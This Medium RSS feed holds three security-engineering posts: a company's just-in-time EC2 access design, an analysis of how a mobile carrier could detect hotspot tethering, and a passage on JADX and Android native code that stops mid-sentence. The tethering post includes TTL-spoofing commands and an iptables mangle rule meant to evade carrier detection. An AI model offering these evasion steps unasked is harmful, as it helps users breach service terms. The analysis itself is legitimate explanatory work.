<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Yuvraj Darekar on Medium]]></title>
        <description><![CDATA[Stories by Yuvraj Darekar on Medium]]></description>
        <link>https://medium.com/@yuvydarekar?source=rss-11b2a4d932b4------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*0KWwLRXtuxKy6b7qlMz_3A.jpeg</url>
            <title>Stories by Yuvraj Darekar on Medium</title>
            <link>https://medium.com/@yuvydarekar?source=rss-11b2a4d932b4------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Mon, 23 Nov 2026 13:19:05 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@yuvydarekar/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Eliminating long-standing server access with our in-house Just-In-Time solution]]></title>
            <link>https://medium.com/@yuvydarekar/eliminating-long-standing-server-access-with-our-in-house-just-in-time-solution-55f570ee4cea?source=rss-11b2a4d932b4------2</link>
            <guid isPermaLink="false">https://medium.com/p/55f570ee4cea</guid>
            <category><![CDATA[aws]]></category>
            <category><![CDATA[cloud-computing]]></category>
            <category><![CDATA[aws-iam]]></category>
            <category><![CDATA[cloud-security]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Yuvraj Darekar]]></dc:creator>
            <pubDate>Mon, 28 Sep 2026 13:29:41 GMT</pubDate>
            <atom:updated>2026-09-28T13:29:41.717Z</atom:updated>
            <content:encoded><![CDATA[<p><em>How we, AppSec team at Upstox built JIT for Servers: team-aware approvals, access that expires on its own, and a desktop client that never writes a credential to disk.</em></p><h3>The problem: access that never goes away</h3><p>Access to servers almost never gets taken away.</p><p>An engineering team starts a new project and gets SSM access to that project’s server. Six months later they move to another projects and get access to those servers as well, and nobody removes the old access because nothing forces anyone to. Every server access that was once needed tends to stay, long after the need has passed.</p><p>That leaves an organisation in a bad position in four ways.</p><p><strong>The blast radius is far larger than it needs to be.</strong> At any moment, the number of people who <em>can</em> reach a production instance is far larger than the number who <em>need</em> to.</p><p><strong>Nobody’s approval is recorded.</strong> Standing access is granted once, usually when someone joins, and never reviewed again. The team that owns a server usually has no say, and often no idea, when an engineer from another team connects to it.</p><p><strong>Removing access depends on someone remembering.</strong> Taking access away is a manual task someone has to remember, whether that’s a move to another team, a role change or someone leaving. Revoking by hand fails quietly, and you only notice after an incident.</p><p>For a stockbroking platform, where production servers sit next to customer and trading data, that isn’t a risk we were willing to keep. We wanted to get rid of standing server access entirely, without making engineers slower at their jobs.</p><h3>What we built: JIT for Servers</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eI7AH9719YVSc5wwHoFq5Q.png" /></figure><p><strong>JIT for Servers</strong> is our just-in-time access system for EC2. The default is that nobody has access to any instance. Access exists only when it has been requested, approved and not yet expired, and each grant is limited to one person, one instance, one OS user and one time window.</p><p>Here’s how it addresses each of the four problems.</p><p><strong>Smaller blast radius.</strong> A user asks for one specific instance for a fixed window, anywhere from 15 minutes to 14 days. The AWS credentials behind the session are scoped to that single instance through STS session tags, and they’re re-issued at most an hour at a time.</p><p><strong>Approval from the teams involved.</strong> Each request is routed by team ownership and carries a written reason, and approvers can act from Slack or email in a few seconds.</p><p><strong>Access removes itself.</strong> Nothing has to be revoked by hand. When the window closes, the grant expires, JIT-CLI tears down the session, and new credentials are refused. Requests that nobody approves in time expire as well.</p><p>Users get two ways to connect: a <strong>web dashboard</strong> that opens an AWS Session Manager terminal in the browser, and <strong>JIT-CLI</strong>, a desktop client built with a security first mindset. JIT-CLI has multi-tab terminals, SSH without a VPN, file transfer, and credentials that are delivered through single-use envelope encryption and never written to disk.</p><p>Lets look into how each piece works.</p><h3>The flow, end to end</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*X-9fJ7Ir8Gx954IaTMriiQ.png" /></figure><p>Here is what a user sees:</p><ol><li><strong>Sign in</strong> with Microsoft Entra ID (Azure AD). The web portal and JIT-CLI use the same identity.</li><li><strong>Create a request.</strong> Pick the AWS account and the instance, choose the access type (SSM or SSH), choose the run-as role, set a duration, and write a reason.</li><li><strong>Wait for approval.</strong> Team leads get a Slack DM and an email.</li><li><strong>Connect.</strong> Use the web dashboard or JIT-CLI.</li><li><strong>Access ends.</strong> Nobody has to revoke anything.</li></ol><p>The details of each step are where the security comes from.</p><h3>Architecture Walkthrough</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HrFCwGCb-H419XNSYa46Dw.png" /></figure><h4>Step 1: The request form</h4><p>The form asks for five things:</p><ul><li><strong>Instance</strong>, chosen from the selected AWS accounts.</li><li><strong>Access type:</strong> ssm (AWS Systems Manager Session Manager, the default) or ssh (via EC2 Instance Connect).</li><li><strong>Run-as role:</strong> one of alpha, bravo, charlie, delta. Each maps to an OS user on the instance.</li><li><strong>Duration:</strong> at least <strong>15 minutes</strong>, at most <strong>14 days</strong>. There are quick picks for 30 min, 1 h, 2 h, 4 h, 1 day, 1 week and 14 days.</li><li><strong>Reason:</strong> required free text, shown to every approver.</li></ul><p>Two of those options are restricted by team. SSH, and the delta run-as role, are only offered to members of specific teams, in our case its our Devops team.</p><h4>Step 2: Approvals follow team ownership</h4><p>This is the core of the design. Every request touches two teams:</p><ul><li><strong>The requester’s team</strong>, taken from their Entra ID group membership.</li><li><strong>The instance’s team</strong>, read from a team tag on the EC2 instance. The lookup is cached for 15 minutes.</li></ul><p>The approval path depends on whether those two teams match.</p><p><strong>Same team: one approval.</strong> If a payments engineer asks for a payments server, one lead of the payments team approves and the request is granted.</p><p><strong>Different teams: two approvals, in order.</strong> If a payments engineer asks for a platform server, the payments lead approves first (“yes, my engineer needs this”), then the platform lead approves (“yes, you may touch my server”).</p><p>Three details matter more than they look.</p><p><strong>The access clock starts at final approval, not at submission.</strong> expires_at is set when the last approval lands. A request approved two hours late still gets the full window the engineer asked for.</p><p><strong>Pending requests expire.</strong> A request nobody approves within one hour is closed. A stale “yes” can’t turn up the next morning and grant access nobody still needs.</p><p><strong>Approvers are snapshotted when the request is created.</strong> The eligible leads are recorded on the request row. If the org chart changes while a request is pending, the approval rights for that request do not change underneath it.</p><h4>Step 3: Approve from Slack or email</h4><p><strong>Slack:</strong> the lead gets a DM with the request details and <strong>Approve / Reject</strong> buttons. Clicking one opens a modal for an optional comment. All follow-ups for a request, including the stage-one result, the stage-two prompt and the final outcome, go into the same thread.</p><p><strong>Email:</strong> the same details, with a link that opens the request on the dashboard.</p><p>The Slack integration is built so that it doesn’t add attack surface.</p><p><strong>Socket Mode, outbound only.</strong> The Slack bot keeps a WebSocket open <em>from</em> our backend <em>to</em> Slack. We expose no inbound webhook, so there is no public endpoint to probe. The portal stays behind the corporate network boundary.</p><p><strong>A one-time identity binding.</strong> A Slack user ID is not a corporate identity. The first time a lead clicks a button, the bot replies with a link. The lead opens it on the corporate network, signs in with Entra ID SSO, and only then is their Slack ID bound to their verified email.</p><p><strong>No separate authorization logic.</strong> After binding, a Slack click calls the same approve_ec2_request(rid, approver_email, ...) function the web UI calls. The Slack handler doesn&#39;t decide who may approve. It passes along a verified email and the backend runs the same checks: right team, still pending, not expired.</p><h4>Step 4: How the access is scoped on AWS</h4><p>We don’t generate an IAM policy per request. The backend assumes one of two pre-provisioned roles, ec2-ssm or ec2-ssh, one pair per AWS account, and attaches the following <strong>session tags</strong>:</p><pre>session_name = f&quot;jit-ec2-{access_type}-{email}&quot;[:64]<br><br>sts.assume_role(<br>    RoleArn=role_arn,<br>    RoleSessionName=session_name,<br>    DurationSeconds=duration_seconds,<br>    Tags=[<br>        {&quot;Key&quot;: &quot;target-instance-id&quot;, &quot;Value&quot;: instance_id},<br>        {&quot;Key&quot;: &quot;SSMSessionRunAs&quot;,    &quot;Value&quot;: ssm_run_as},<br>    ],<br>)</pre><ul><li><strong>target-instance-id</strong> is what the role&#39;s IAM policy matches against, so the session can reach this instance and no other.</li><li><strong>SSMSessionRunAs</strong> is a tag Session Manager supports natively. When Run As is enabled, SSM starts the shell as the OS user named in the principal&#39;s SSMSessionRunAs tag. The run-as role picked on the form becomes the Linux user on the box, and AWS enforces it.</li><li><strong>RoleSessionName</strong> contains the requester&#39;s email, so every CloudTrail event from the session can be traced to a person.</li></ul><p>Nothing here is stored. Each call to the credentials endpoint runs a fresh AssumeRole, and the STS lifetime is kept short, independent of the grant length. A 14-day grant does not produce a 14-day credential. It produces a series of one-hour credentials, each issued only after the grant is checked again.</p><h4>Step 5a: Connect from the browser</h4><p>For SSM grants, the dashboard’s <strong>Open Console</strong> button takes the user straight into an AWS Session Manager terminal on the approved instance, through AWS sign-in federation.</p><h4>Step 5b: JIT-CLI, the thick client</h4><p>The browser works for a quick look, but we wanted to go one more step ahead, so we created the thick client application. Through this we created multi tab support, reconnects that don’t forget your history, accessibility to quick and easy shortcuts, file transfer and SSH, along with keeping security controls first and handling the credentials purely in the memory and not anywhere on the disk.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CgXuuK-ixlebuxhd7RS08g.png" /></figure><p><strong>Sign-in: PKCE, with the refresh token in the OS keychain</strong></p><p>JIT-CLI uses the OAuth 2.0 authorization-code flow with <strong>PKCE (S256)</strong> against Entra ID. The sign-in opens in the system browser and returns to a local callback. The <strong>access token stays in memory</strong>. The <strong>refresh token goes into the OS credential store</strong> (macOS Keychain or Windows Credential Manager) with sync turned off, so reopening the app doesn’t mean signing in again, and the token never sits in a plaintext file.</p><p><strong>Credentials: ephemeral envelope encryption</strong></p><p>This is the part we’re most careful about. When JIT-CLI needs AWS credentials, it doesn’t just receive them over TLS. It receives them sealed to a key that exists only for that one request.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nlEqwWil85oghDiuy1QZLg.png" /></figure><ul><li><strong>On the client</strong>, every call generates a new RSA-2048 key pair and sends only the public half.</li><li><strong>On the server</strong>, the endpoint checks that the caller is the requester of this exact request, that the request is APPROVED and not expired, and that the public key is RSA and exactly 2048-bit.</li></ul><p>This gets us several properties:</p><ul><li><strong>Keys are single-use on both sides.</strong> The RSA key pair lives for one HTTP round trip. The AES key encrypts one payload.</li><li><strong>Holding the ciphertext is useless.</strong> A logged or intercepted response can’t be decrypted without a private key that has already been discarded.</li><li><strong>The grant deadline is encrypted too.</strong> access_remaining_seconds travels only inside the encrypted payload. The client computes the absolute expiry locally when it receives it.</li><li><strong>Key material is zeroed</strong> as soon as it has been used, on the client and on the server.</li></ul><p><strong>SSH without bastions, public IPs or VPN</strong></p><p>SSH grants use <strong>EC2 Instance Connect</strong> together with an <strong>EC2 Instance Connect Endpoint (EICE)</strong>. The client never needs a network path to the instance’s private IP.</p><p>AWS has no SDK call for opening an EICE tunnel in any language. The AWS CLI builds it itself as a SigV4-presigned WebSocket. We reimplemented that protocol in Go (internal/eice), so the tunnel runs inside our process like everything else.</p><p>EC2 Instance Connect only honours a pushed public key for about 60 seconds. There is no authorized_keys entry to clean up afterwards.</p><p><strong>File transfer uses the same connection.</strong> SFTP is an SSH subsystem, so uploads and downloads run as another channel on the SSH connection the tab already has. There’s no second tunnel, no second key push, and no AWS permission beyond what the SSH grant already carries. When the grant ends, file transfer ends with it. Upload and download can each be switched off centrally.</p><p><strong>Sessions end at the earlier of two deadlines</strong></p><p>Each session tracks two clocks: when the current STS credentials expire and when the approved grant expires. It ends at whichever comes first.</p><p>When a session ends, the UI says why: PERMITTED_TIME_ENDED (the grant is over) or STS_EXPIRED (the one-hour credential ran out while the grant is still valid). In the second case, <strong>Reconnect</strong> gets fresh credentials for the same approved request. The engineer doesn&#39;t need a new approval and doesn&#39;t have to type the request ID again. The server re-checks the grant each time.</p><p><strong>Two lock screens</strong></p><p>Leaving a laptop unlocked shouldn’t mean leaving production access open.</p><ul><li><strong>Idle auto-lock:</strong> after 5 minutes of inactivity by default (set centrally), the app locks itself.</li><li><strong>Biometric unlock:</strong> Touch ID on macOS and Windows Hello on Windows, with Entra ID sign-in as a fallback.</li></ul><p>A locked app refuses to call any authenticated API and refuses to start or reconnect any session. The check sits in the Go backend (securityState.IsLocked()) in front of GetCredentials, Connect and Reconnect, not only in the UI.</p><p><strong>A local audit trail</strong></p><p>For incident response, JIT-CLI keeps a local record of each session on the machine that ran it: the commands run, a transcript of what the terminal showed, and the session and file-transfer events around them.</p><h3>Application Interface</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rXI9wdp-Q4OiVSe6dNFUtg.png" /><figcaption>Server Request Page</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qpQDg5qgC4EXw0J85A82vg.png" /><figcaption>Single Approval (User + Resource Same Team)</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*39SukNGS4Lk96EZCy3K5iw.png" /><figcaption>Double Approval (User and Resource different Team)</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yVQjcg45U4xVsIA7wHMoFg.png" /><figcaption>Quick Access</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zdK72nFEi2PUF6qy28VEww.png" /><figcaption>Access History</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rHZ_69rlMfrAI4lpkE_ntA.png" /><figcaption>JIT-CLI Locked</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_0Xq-my2oPMTEeutVirQlQ.png" /><figcaption>JIT-CLI List</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*i6DWP8gxDqUFtbkd5KJYlA.png" /><figcaption>JIT-CLI Upload/Download</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cBbK1iAHAoMSWD4d--aXKw.png" /><figcaption>JIT-CLI Reconnect</figcaption></figure><h3>Final Notes</h3><p>We started with a security problem familiar to everyone in the industry, but what we ended-up building was a show of standard that security doesn’t have to be a blocker it can also be an enabler. By building JIT for Servers and especially JIT-CLI thick client, we not only improved the security posture of the organisation but also provided a much more streamlined way to access servers to our engineering team.</p><h3>Contributors</h3><ul><li>Yuvraj Darekar: <a href="https://www.linkedin.com/in/yuvraj-darekar-9022b61b2/">https://www.linkedin.com/in/yuvraj-darekar-9022b61b2/</a></li><li>Indrajith S B: <a href="https://www.linkedin.com/in/indrajithsb/">https://www.linkedin.com/in/indrajithsb/</a></li><li>Arun Govindasamy: <a href="https://www.linkedin.com/in/arungovindasamy/">https://www.linkedin.com/in/arungovindasamy/</a></li><li>Yogendra Swaroop Srivastava: <a href="https://www.linkedin.com/in/yogendra-swaroop-srivastava-8aa45874/">https://www.linkedin.com/in/yogendra-swaroop-srivastava-8aa45874/</a></li><li>Saurav Sagar: <a href="https://www.linkedin.com/in/saurav-sagar-25a286290/">https://www.linkedin.com/in/saurav-sagar-25a286290/</a></li></ul><p><em>Made with ❤️ by AppSec Team @ </em><a href="https://www.linkedin.com/in/saurav-sagar-25a286290/"><em>Upstox</em></a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=55f570ee4cea" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Can Airtel Actually Tell You’re Tethering? A Security Engineer’s Take on the 5G Hotspot Mess]]></title>
            <link>https://medium.com/@yuvydarekar/can-airtel-actually-tell-youre-tethering-a-security-engineer-s-take-on-the-5g-hotspot-mess-1c00df7180d0?source=rss-11b2a4d932b4------2</link>
            <guid isPermaLink="false">https://medium.com/p/1c00df7180d0</guid>
            <category><![CDATA[networking]]></category>
            <category><![CDATA[network-security]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[india]]></category>
            <category><![CDATA[airtel]]></category>
            <dc:creator><![CDATA[Yuvraj Darekar]]></dc:creator>
            <pubDate>Tue, 21 Jul 2026 18:29:27 GMT</pubDate>
            <atom:updated>2026-07-22T05:49:18.361Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="Airtel Bans hotspot use for 5G Unlimited" src="https://cdn-images-1.medium.com/max/754/0*wa6SBTh2qPVwbziZ" /><figcaption>Airtel Bans hotspot use for 5G Unlimited</figcaption></figure><p>Airtel’s unlimited 5G offer turned a lot of people’s phones into de facto home broadband, connect a laptop, a smart TV, a tablet, and just enjoy the highspeed unlimited internet. That’s exactly the kind of behavior a “personal, non-commercial” clause is written to discourage, and this month a screenshot of updated terms started making the rounds claiming hotspot-shared data would no longer count against the unlimited bucket.</p><p>For the purpose of this discussion, lets keep aside the net neutrality and privacy implications, in enforcing checks to differentiate between tethered and non-tethered traffic. Honestly the more interesting engineering question here, is not whether “is this happening” but “if a carrier wanted to do this, could they, and how would they actually pull it off?” That’s the part worth digging into, because the answer isn’t binary. It’s a stack of overlapping signals, each individually beatable, collectively pretty hard to fully dodge.</p><h3>Signals of Traceability</h3><figure><img alt="Airtel Detection Mechanism" src="https://cdn-images-1.medium.com/max/1024/1*BO1xadUXUeTghIeLlbtaXA.png" /><figcaption>Airtel Detection Mechanism</figcaption></figure><h4>Signal 1: The carrier’s own app, sitting inside your phone</h4><p>If you’ve got the Airtel Thanks app installed and haven’t gone through and stripped its permissions, it’s already positioned to know the moment you flip on your hotspot. ConnectivityManager and TelephonyManager on Android happily expose hotspot state, connected client counts, and per-interface byte counters to any app that asks. A local VPN service on top of that can inspect which interface each packet actually originated from. None of this requires network-side inference — the app can just tell the mothership &quot;hotspot&#39;s on, X bytes forwarded&quot; in real time. It&#39;s the crudest method and also the most accurate, which is why it&#39;s usually the first thing carriers wire up.</p><h4>Signal 2: TTL — cheap, passive, and the one everyone talks about</h4><p>This is the classic. Every IP packet carries a TTL value that drops by one at each hop. Phones ship with a default TTL of 64. When your handset’s hotspot NATs traffic from another device, it decrements that value again before forwarding — so a laptop’s packets arrive at the carrier looking like TTL 63 (Mac/Linux) or 127 (Windows, which starts at 128), instead of the phone’s native 64.</p><p>Carrier-grade Deep Packet Inspection (DPI) boxes can flag this with almost no computational cost — it’s a single field check, works on encrypted traffic just as well as plaintext, and needs no session state. It’s also the most commonly <em>defeated</em> signal, because plenty of routers, custom ROMs, and even some stock Android builds let you force the TTL back to 64 on outgoing hotspot traffic. It’s an arms race in miniature: trivial to detect, trivial to spoof, so nobody relies on it alone.</p><h4>Signal 3: What your TLS handshake gives away</h4><p>Even fully encrypted HTTPS traffic leaks identity through metadata. The cipher suites, extensions, and curve preferences offered during a TLS Client Hello form a fingerprint (this is the whole premise behind JA3/JA4) that differs meaningfully between, say, Chrome-on-Android and Edge-on-Windows. Unencrypted HTTP is even blunter, the User-Agent header will just say “Windows NT 10.0” outright. A carrier watching for desktop-shaped handshakes riding on a mobile connection has a reasonably strong tell, independent of TTL entirely.</p><h4>Signal 4: The TCP stack itself</h4><p>Below the handshake, the raw TCP/IP stack has its own accent. Initial window size, the presence and ordering of options like window scaling, SACK, and timestamps — these vary across Android/Linux versus desktop Windows/macOS stacks in ways passive fingerprinting tools (p0f being the old standby) have exploited for twenty-plus years. It’s a good corroborating signal precisely because it’s independent of TTL, if someone’s spoofed their TTL back to 64 but their TCP options still scream “Windows laptop,” DPI combining both signals still catches it.</p><h3>The Bypass Toolbox</h3><blockquote>Disclaimer: The techniques described in this section are shared purely for educational and security research purposes. They illustrate how client-side controls can be circumvented in principle, not to encourage violation of any carrier’s terms of service. Implementing these methods may breach your agreement with Airtel or other providers and could carry legal or contractual consequences. The author assumes no responsibility for any misuse or for actions taken based on this information.</blockquote><p>Now for the part that makes this an interesting security problem: every client‑side check can be subverted if you control the endpoint. Here are the general approaches, from simplest to most robust.</p><h4>Tool 1: Neutralize the App</h4><ul><li>Uninstall or force‑stop the Airtel app. No app, no snitching.</li><li>If you must keep it, revoke permissions: deny usage statistics, phone state, and the ability to create a VPN.</li></ul><h4>Tool 2: Normalize TTL to Match the Phone</h4><p>This directly defeats the DPI’s simplest check. On the tethered device, change the default TTL so that after one hop it becomes 64:</p><ul><li>Windows: netsh int ipv4 set glob defaultcurhoplimit=65</li><li>macOS/Linux: sudo sysctl net.inet.ip.ttl=65 (or net.ipv4.ip_default_ttl=65)</li></ul><p>Now, a Windows laptop sends packets with TTL 65 → the phone’s NAT decrements to 64, identical to the phone’s own traffic.</p><p><strong>Better yet, mangle TTL on the phone itself (requires root):</strong></p><pre>iptables -t mangle -A POSTROUTING -o rmnet_data0 -j TTL --ttl-set 64</pre><p>This rewrites the TTL of every forwarded packet to 64 just before it leaves the mobile interface. All traffic, regardless of origin, now looks native.</p><h4>Tool 3: Route Everything Through a VPN or Tunnel</h4><p>A VPN encrypts the entire flow and wraps it in a new IP header. The carrier’s DPI sees:</p><ul><li>One IP stream from the phone’s real interface with the phone’s default TTL (64).</li><li>Inside the tunnel, all the original diverse TTLs, TLS fingerprints, and TCP stacks are hidden.</li></ul><p>Even the most sophisticated fingerprinting is rendered blind. The carrier can only tell that you’re using a VPN; it cannot see that the traffic inside originated from a laptop. Pair this with TTL mangling on the tunnel interface, and you have a single‑channel escape from all network‑side detection.</p><h4>Tool 4: Use Specialized Tethering Apps</h4><p>Apps like PdaNet+, PairVPN, or NetShare bypass the built‑in hotspot and instead bridge traffic through a local VPN/proxy. They often hide hotspot usage from the system and may mangle TTL or redirect traffic in ways that avoid carrier detection. PairVPN, for instance, creates a fake VPN interface and tunnels everything through it, making it very difficult for the carrier to distinguish.</p><h3>A Cat‑and‑Mouse Game with Diminishing Returns</h3><p>As an application security engineer, I view this whole scenario through the lens of “attacker advantage.” The client environment, the phone and the devices behind it, is far more flexible than the carrier’s network‑side instrumentation. For every signature Airtel tunes, a tool or configuration change can blend the traffic back into the background. Tunneling all data through a VPN with TTL set to 64 on the phone essentially reduces the carrier’s detection capability to zero.</p><p>But be warned: carriers are not blind to these evasions. They can start throttling or disconnecting VPNs on “unlimited” plans, enforcing data caps per session, or deploying machine‑learning models to detect traffic patterns that suggest tethering despite perfect TTL and fingerprint hygiene. It’s a classic arms race.</p><p>For now, the combination of a well‑configured VPN and TTL mangling remains the golden bullet. If you’re a nerd who loves understanding systems, I hope this deep dive was as much fun to read as it was to write. Just remember — the Terms of Service are still a thing, and “unlimited” always has an asterisk.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1c00df7180d0" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[What JADX Won’t Show You: A Detour into Android Native Code]]></title>
            <link>https://medium.com/@yuvydarekar/what-jadx-wont-show-you-a-detour-into-android-native-code-5a869b74987a?source=rss-11b2a4d932b4------2</link>
            <guid isPermaLink="false">https://medium.com/p/5a869b74987a</guid>
            <category><![CDATA[mobile-security]]></category>
            <category><![CDATA[mobile-app-development]]></category>
            <category><![CDATA[reverse-engineering]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[security]]></category>
            <dc:creator><![CDATA[Yuvraj Darekar]]></dc:creator>
            <pubDate>Thu, 16 Jul 2026 19:20:07 GMT</pubDate>
            <atom:updated>2026-07-16T19:20:07.634Z</atom:updated>
            <content:encoded><![CDATA[<p>A few weeks ago I found myself picking apart an APK, and I did what seemed like the obvious first step: load it into JADX and see what falls out. Manifest first, then a scan through the package tree, then into the Java classes to get a feel for how the app was put together.</p><p>Except this time, something in the file tree made me stop scrolling.</p><p>Sitting next to a perfectly readable LoginActivity.java and a helpfully verbose ApiClient.java was a folder called lib/, and inside it, sorted by architecture, were files like libnative-crypto.so and libutils.so. JADX had rendered the Java classes almost like source code. I could in plain text read the variable names, control flow, even some comments the developers had clearly forgotten to strip. But when I clicked on one of those .so files, I got a wall of hex and a handful of unhelpfully named symbols. No decompiled functions. No familiar syntax. Just raw binary.</p><p>That contrast is what sent me down a rabbit hole for the rest of the afternoon: why can JADX turn one part of this app into something I can practically read like a book, while the other part looks like complete gibbrish? And more importantly from a security testing standpoint, what does it mean when a developer chooses to hide logic in that second, unreadable format?</p><p>This article is the write-up of that rabbit hole.</p><figure><img alt="Comparing Java/Kotlin to C/C++ Native" src="https://cdn-images-1.medium.com/max/1024/1*S_OavTTy2q0RgeuTz33Nuw.png" /><figcaption>Comparing Java/Kotlin to C/C++ Native</figcaption></figure><h3>Why JADX Can Read Java but Not .so Files</h3><p>The short answer is that JADX is a <strong>DEX decompiler</strong>, not a general-purpose reverse engineering suite. It’s built to do one job extremely well: take <em>Dalvik bytecode</em> and reconstruct something that looks like the Java or Kotlin source that produced it. Native .so files are a completely different binary format that JADX was never designed to touch, it can extract them from the APK and let you look at raw bytes or basic metadata, but it has no logic for translating machine code back into C or C++.</p><p>To understand why that gap exists, it helps to walk through what actually happens to each type of code before it ends up sitting next to the other in an APK.</p><h4>From Kotlin/Java to Something JADX Can Read</h4><p>When you write an Android app in Java or Kotlin, that source code doesn’t go straight into the APK. It’s first compiled by javac for Java or kotlinc for Kotlin into standard JVM (Java Virtual Machine) bytecode (.class files). Android then runs a second transformation: a tool called <strong>D8</strong> (the modern successor to the older dx compiler) converts that JVM bytecode into <strong>DEX bytecode</strong> (.dex files), which is the format ART (Android Runtime), actually executes on-device.</p><p>DEX bytecode is still structured, still uses a well-documented instruction set, and still preserves a lot of the semantic information from the original code — method signatures, class hierarchies, and (if not stripped) variable and field names. That’s exactly why JADX can do its job so well: it parses the DEX format, walks through the bytecode instructions, and applies decompilation heuristics to rebuild something structurally very close to the original Java. It’s pattern recognition against a bytecode format that was designed to be relatively transparent.</p><h4>From C/C++ to Something JADX Can’t Read</h4><p>Native code takes a completely different road. When a developer writes performance-sensitive or sensitive-logic code in C or C++, it’s compiled using the Android Native Development Kit (NDK) toolchain (Clang/LLVM under the hood) directly into <strong>machine code</strong> for a specific CPU architecture — ARM, ARM64, x86, or x86_64. The result is an ELF shared object (.so file), the same executable format Linux systems use.</p><p>This is a fundamentally lower-level artifact than DEX bytecode. There’s no notion of “classes” or “methods with names” preserved in a way that maps cleanly back to source, just raw instructions, registers, and memory addresses, optionally with a symbol table if the binary wasn’t stripped. Reconstructing anything resembling the original C/C++ source requires an actual native disassembler and decompiler, and even the best ones (Ghidra, IDA Pro) produce approximations, not the original source.</p><p>This is also why native libraries are <strong>architecture-specific</strong>: the compiler bakes in instructions for a particular CPU’s instruction set. That’s why you’ll typically see multiple copies of the same .so file under folders like arm64-v8a/, armeabi-v7a/, x86/, and x86_64/ inside lib/, one compiled binary per target CPU architecture the app supports.</p><p>Here’s roughly how both paths converge into the same APK:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oRZj21uxL3XGtm9rQLJliA.png" /></figure><p>Two very different compilation pipelines, one shared destination — and only one of them comes back out readable.</p><h3>The Bridge Between Them: JNI</h3><p>None of this matters much if the Java layer and the native layer can’t talk to each other, which is where <strong>JNI (Java Native Interface)</strong> comes in. JNI is the standard mechanism Android (and the JVM generally) uses to let managed code call into native functions and vice versa.</p><p>From the Java/Kotlin side, you declare a method as native and give it no body — it&#39;s a stub (placeholder). At runtime, after the app calls System.loadLibrary() to load the corresponding .so file, the JVM/ART runtime resolves that stub to an actual function implemented in the native library, matching it up by a specific naming and signature convention.</p><p>A minimal example makes this concrete. On the Java side:</p><pre>public class CryptoBridge {<br>    static {<br>        System.loadLibrary(&quot;native-crypto&quot;);<br>    }<br><br>    public native String encryptToken(String plainToken);<br>}</pre><p>And the corresponding native implementation in C:</p><pre>#include &lt;jni.h&gt;<br>#include &lt;string.h&gt;<br><br>JNIEXPORT jstring JNICALL<br>Java_com_example_app_CryptoBridge_encryptToken(JNIEnv *env, jobject thiz, jstring plainToken) {<br>    const char *input = (*env)-&gt;GetStringUTFChars(env, plainToken, 0);<br><br>    // (simplified placeholder — real code would do actual encryption here)<br>    char result[256];<br>    snprintf(result, sizeof(result), &quot;enc(%s)&quot;, input);<br><br>    (*env)-&gt;ReleaseStringUTFChars(env, plainToken, input);<br>    return (*env)-&gt;NewStringUTF(env, result);<br>}</pre><p>The function name isn’t arbitrary, Java_com_example_app_CryptoBridge_encryptToken follows JNI&#39;s naming convention, encoding the fully qualified class and method name so the runtime can locate it inside the compiled .so at load time. This is the seam where a lot of interesting security-relevant behavior lives, because it&#39;s the exact point where &quot;readable Java&quot; hands off to &quot;opaque native code.&quot;</p><h3>Why Developers Actually Reach for Native Code</h3><p>There are plenty of legitimate engineering reasons to use native libraries:</p><ul><li><strong>Performance-critical operations.</strong> Tight loops, image processing, or signal processing often run meaningfully faster in compiled native code than in bytecode interpreted.</li><li><strong>Cryptography.</strong> Native crypto libraries are common, partly for performance and partly because well-audited native crypto primitives already exist.</li><li><strong>Hardware interaction.</strong> Certain performance-sensitive or low-level operations (audio processing, camera pipelines, GPU work via Vulkan/OpenGL) are exposed through native NDK APIs.</li><li><strong>Raising the reverse-engineering bar.</strong> And yes — some developers move sensitive logic into native code specifically because it’s harder to analyze than DEX bytecode, as a deliberate (if partial) defensive measure.</li></ul><blockquote>That last point is where things get interesting from a security testing perspective, because it’s also the most commonly misunderstood one.</blockquote><h3>The Security Perspective: Harder, Not Impossible</h3><p>Native code genuinely is harder to reverse engineer than DEX bytecode, for reasons that follow directly from everything above: no high-level class/method structure to lean on, optional symbol stripping, compiler optimizations that reorder and inline code, and a much bigger, messier instruction set to read through manually.</p><p>But “harder” is doing a lot of 